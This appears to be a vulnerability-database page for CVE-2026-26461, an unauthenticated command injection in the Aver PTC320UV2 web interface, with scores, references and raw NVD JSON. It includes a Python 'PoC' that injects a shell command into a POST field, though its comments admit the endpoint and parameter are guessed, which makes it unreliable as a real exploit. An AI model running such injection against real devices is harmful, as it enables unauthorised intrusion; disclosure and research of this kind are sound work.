CVE-2026-26461

Description

A Command Injection vulnerability in the web management interface in Aver PTC320UV2 0.1.0000.65 allows an unauthenticated attacker to execute arbitrary commands via a crafted web request.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Aver PTC320UV2 0.1.0000.65

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_command_injection(target_url, cmd):
    """
    Exploit Command Injection Vulnerability in Aver PTC320UV2
    """
    # The vulnerable parameter name is hypothetical, replace with actual param from analysis
    payload = f"; {cmd}"
    
    # Construct the malicious request
    # Example endpoint structure based on common web interfaces
    full_url = f"{target_url}/cgi-bin/admin.cgi" 
    
    data = {
        "action": "save",
        "settings": payload  # Injection point
    }

    try:
        print(f"[+] Sending payload to {target_url}...")
        response = requests.post(full_url, data=data, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Response content:")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    # Replace with the actual target IP
    target = "http://192.168.1.100"
    command_to_execute = "whoami"
    exploit_command_injection(target, command_to_execute)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-26461
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-26461
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-26461/
[4] VulDB https://vuldb.com/cve/CVE-2026-26461
[5] https://github.com/spaceraccoon/disclosures/blob/main/2026/CVE-2026-26461.md
[6] https://www.aver.com/Downloads/search?q=PTC320UV2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-26461", "sourceIdentifier": "[email protected]", "published": "2026-05-01T18:16:14.307", "lastModified": "2026-05-07T15:15:06.770", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Command Injection vulnerability in the web management interface in Aver PTC320UV2 0.1.0000.65 allows an unauthenticated attacker to execute arbitrary commands via a crafted web request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/spaceraccoon/disclosures/blob/main/2026/CVE-2026-26461.md", "source": "[email protected]"}, {"url": "https://www.aver.com/Downloads/search?q=PTC320UV2", "source": "[email protected]"}]}}